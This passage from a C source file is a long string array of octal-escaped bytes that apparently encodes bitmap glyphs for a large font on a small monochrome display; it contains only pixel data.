\"\\0\\0\\0\\0\\0\\370\\370\\370\\370\\370\\370\\370\\30\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\374\\374\\374|<\"\n  \"\\34\\14\\4\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\200\\300\\340\\360\\370\\374\\376\\377\\177\\77\\37\\17\\7\\3\\1\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\77\\37\\17\\7\\17\\37\\177\\377\\377\\377\\376\\374\\360\\340\\300\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\17\\37\\77\\177\\377\\377\\377\\376\\370\\360\"\n  \"\\340\\300\\200\\0\\0\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\7\\7\\7\"\n  \"\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\370\\370\\370\\370\\370\\370\\370\\370\\370\\370\\370\\370\\370\\370\\370\\370\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\377\\377\\377\\377\\377\\377\\377\\340\\340\\340\\340\\340\\340\\340\\340\\340\"\n  \"\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\374\\374\\374\\374\\374\\374\\370\\370\\374\\374\\374\\376\\374\\374\\374\\370\\360\\340\\360\\370\\370\\374\\374\\374\\376\\374\\374\\374\"\n  \"\\370\\370\\340\\200\\377\\377\\377\\377\\377\\377\\7\\1\\0\\0\\0\\1\\377\\377\\377\\377\\377\\377\\377\\3\\1\\0\\0\\0\\3\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\377\\377\\377\\377\\7\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\7\\7\\7\"\n  \"\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\376\\376\\376\\376\\376\\376\\376\\340\\360\\370\\374\\374\\376~~~~~\\376\\376\\376\\376\\374\\370\\370\\360\"\n  \"\\300\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\37\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\377\\377\\377\\377\\377\"\n  \"\\377\\376\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\"\n  \"\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\370\\374\\374\\376\\376~~~~~~\\376\\376\\376\\374\\374\\370\\370\\360\\340\"\n  \"\\300\\0\\0\\0\\340\\374\\377\\377\\377\\377\\377\\77\\17\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\17\\177\\377\\377\\377\"\n  \"\\377\\377\\374\\340\\77\\377\\377\\377\\377\\377\\377\\360\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\377\\377\\377\"\n  \"\\377\\377\\377\\77\\0\\1\\7\\17\\37\\77\\177\\377\\377\\376\\374\\370\\370\\360\\360\\360\\360\\360\\360\\370\\370\\374\\376\\377\\377\\377\\177\\77\"\n  \"\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\3\\3\\3\\3\\3\\7\\3\\3\\3\\3\\3\\1\\1\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\374\\374\\374\\374\\374\\374\\374\\340\\360\\360\\370\\370\\374\\374\\374\\374\\376\\374\\374\\374\\374\\374\\370\\370\\360\\340\\300\"\n  \"\\200\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\37\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\7\\37\\377\\377\\377\\377\"\n  \"\\377\\377\\374\\340\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\377\\377\\377\"\n  \"\\377\\377\\377\\177\\0\\377\\377\\377\\377\\377\\377\\377\\377\\374\\370\\360\\340\\340\\340\\340\\340\\340\\340\\360\\360\\370\\374\\376\\377\\377\\377\\177\"\n  \"\\77\\17\\3\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\1\\3\\3\\7\\7\\7\\7\\7\\17\\7\\7\\7\\7\\7\\3\\1\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\177\\177\\177\\177\\177\\177\\177\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\370\\370\\374\\374\\376\\376~~~~~~~\\376\\374\\374\\370\\360\\376\\376\\376\\376\"\n  \"\\376\\376\\376\\0\\360\\376\\377\\377\\377\\377\\377\\77\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\177\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\77\\377\\377\\377\\377\\377\\377\\360\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\0\\1\\7\\37\\77\\177\\377\\377\\377\\376\\374\\370\\370\\360\\360\\360\\360\\360\\360\\370\\374\\374\\377\\177\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\3\\3\\3\\3\\7\\7\\3\\3\\3\\3\\1\\0\\0\\0\\377\\377\\377\\377\"\n  \"\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\77\"\n  \"\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\376\\376\\376\\376\\376\\376\\376\\340\\360\\370\\374\\374\\376\\376~~~~~~~\\376\\376\\374\"\n  \"\\374\\370\\370\\60\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\177\\37\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\"\n  \"\\7\\3\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\360\\370\\370\\374\\374\\374\\374\\374\\374\\376\\374\\374\\374\\374\\374\\374\\370\\370\\360\\360\\340\"\n  \"\\300\\200\\0\\0\\0\\0\\0\\37\\177\\377\\377\\377\\377\\377\\363\\341\\301\\300\\300\\200\\200\\200\\0\\0\\1\\1\\3\\7\\17\\37\\37\\7\"\n  \"\\3\\0\\0\\0\\0\\0\\0\\0\\200\\0\\1\\3\\3\\7\\7\\7\\17\\17\\17\\37\\37\\37\\77\\77\\77\\177\\376\\376\\374\\374\\370\\360\"\n  \"\\340\\300\\0\\0\\0\\60|\\376\\377\\377\\374\\374\\370\\360\\360\\340\\340\\340\\340\\340\\340\\340\\340\\340\\360\\360\\370\\377\\377\\377\\377\\177\"\n  \"\\77\\37\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\3\\7\\7\\7\\7\\7\\17\\17\\17\\7\\7\\7\\7\\7\\3\\3\\3\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\376\\376\\376\\376\\377\\377\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\374\\374\\374\\374\\374\\374\\374\\374\\374\\377\\377\\377\\377\\377\\377\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\377\\377\\377\\377\\377\\377\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\177\\377\\377\\377\\377\\377\\376\\360\\340\\340\\340\\340\\340\\340\\360\\360\\370\\370\"\n  \"\\374\\374\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\3\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\7\\3\\3\"\n  \"\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\374\\374\\374\\374\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\374\\374\\374\\374\\374\"\n  \"\\374\\374\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\3\\37\\177\\377\\377\\377\\377\\377\\374\\360\\360\\340\\340\\340\\340\\340\\340\\360\\370\\370\\376\\377\\377\\377\\377\\377\\377\"\n  \"\\377\\377\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\7\\7\\7\\7\\7\\17\\17\\7\\7\\7\\7\\3\\1\\1\\0\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\34\\374\\374\\374\\374\\374\\374\\354\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\374\\374\\374\"\n  \"\\374\\374<\\0\\0\\0\\3\\37\\177\\377\\377\\377\\377\\374\\360\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\377\\377\\377\\377\\77\"\n  \"\\17\\1\\0\\0\\0\\0\\0\\0\\0\\1\\17\\77\\377\\377\\377\\377\\376\\360\\300\\0\\0\\200\\340\\374\\377\\377\\377\\177\\37\\7\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\37\\377\\377\\377\\377\\376\\376\\377\\377\\377\\77\\17\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\7\\7\\7\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\374\\374\\374\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\340\\340\\340\\340\\0\\0\\0\\0\\0\\0\\0\\0\\374\"\n  \"\\374\\374\\374\\374\\77\\377\\377\\377\\377\\377\\340\\0\\0\\0\\0\\200\\370\\377\\377\\377\\377\\377\\377\\377\\370\\200\\0\\0\\0\\0\\370\\377\"\n  \"\\377\\377\\377\\377\\0\\7\\177\\377\\377\\377\\377\\376\\300\\200\\370\\377\\377\\377\\177\\7\\1\\17\\377\\377\\377\\377\\374\\340\\0\\370\\377\\377\"\n  \"\\377\\377\\177\\1\\0\\0\\0\\17\\377\\377\\377\\377\\377\\377\\377\\377\\77\\7\\0\\0\\0\\0\\0\\7\\177\\377\\377\\377\\376\\377\\377\\377\"\n  \"\\377\\17\\0\\0\\0\\0\\0\\0\\1\\7\\7\\7\\7\\7\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\7\\7\\7\\7\\7\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\4\\34<\\374\\374\\374\\374\\374\\360\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\370\\374\\374\\374\\374|\"\n  \"\\34\\14\\0\\0\\0\\0\\0\\0\\1\\3\\17\\37\\77\\377\\377\\377\\376\\370\\360\\300\\360\\374\\376\\377\\377\\177\\77\\17\\7\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\361\\377\\377\\377\\377\\177\\377\\377\\377\\377\\370\\340\\300\\200\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\340\\360\\374\\376\\377\\377\\377\\77\\37\\7\\3\\0\\0\\0\\3\\7\\37\\77\\177\\377\\377\\376\\374\\370\\340\"\n  \"\\300\\200\\0\\0\\6\\7\\7\\7\\7\\7\\7\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\7\\7\\7\"\n  \"\\7\\7\\6\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\34|\\374\\374\\374\\374\\374\\374\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\374\\374\\374\\374\"\n  \"\\374\\374<\\4\\0\\0\\1\\17\\77\\377\\377\\377\\377\\376\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\374\\377\\377\\377\\377\\77\"\n  \"\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\7\\37\\177\\377\\377\\377\\376\\370\\340\\0\\0\\200\\340\\374\\377\\377\\377\\377\\37\\7\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\17\\77\\377\\377\\377\\377\\374\\377\\377\\377\\177\\37\\3\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\200\\340\\300\\0\\0\\0\\0\\0\\0\\200\\300\\340\\374\\377\\377\\377\\377\\177\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\77\\77\\77\\177\\177~~\\177\\177\\177\\77\\77\\37\\37\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\\374\"\n  \"|\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\374\\377\\377\\177\\77\\37\\17\\7\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370\\376\\377\\377\\377\\77\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\340\\360\\370\\376\\377\\377\\377\\377\\377\\357\\347\\343\\341\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\"\n  \"\\340\\360\\360\\0\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\\7\"\n  \"\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\300\\340\\340\\340\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\374\\377\\377\\377\\377\\377\\77\\17\\7\\7\\3\\3\\3\\3\\3\\3\\3\\3\\3\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\340\\340\\340\\340\\360\\360\\370\\374\\377\\377\\377\\177\\77\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\7\\7\\7\\7\\7\\17\\17\\77\\377\\377\\377\\376\\374\\370\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\177\\377\\377\\377\\377\\377\\377\\360\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\17\\37\\77\\77\\77\\177\\177\\177\\177~~~~~~~~\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\360\\360\\360\\360\\360\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\360\\340\\340\\340\\300\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\3\\3\\3\\3\\3\\3\\7\\7\\17\\37\\377\\377\\377\\377\\377\\374\\360\\0\\0\\0\\0\\0\"\n  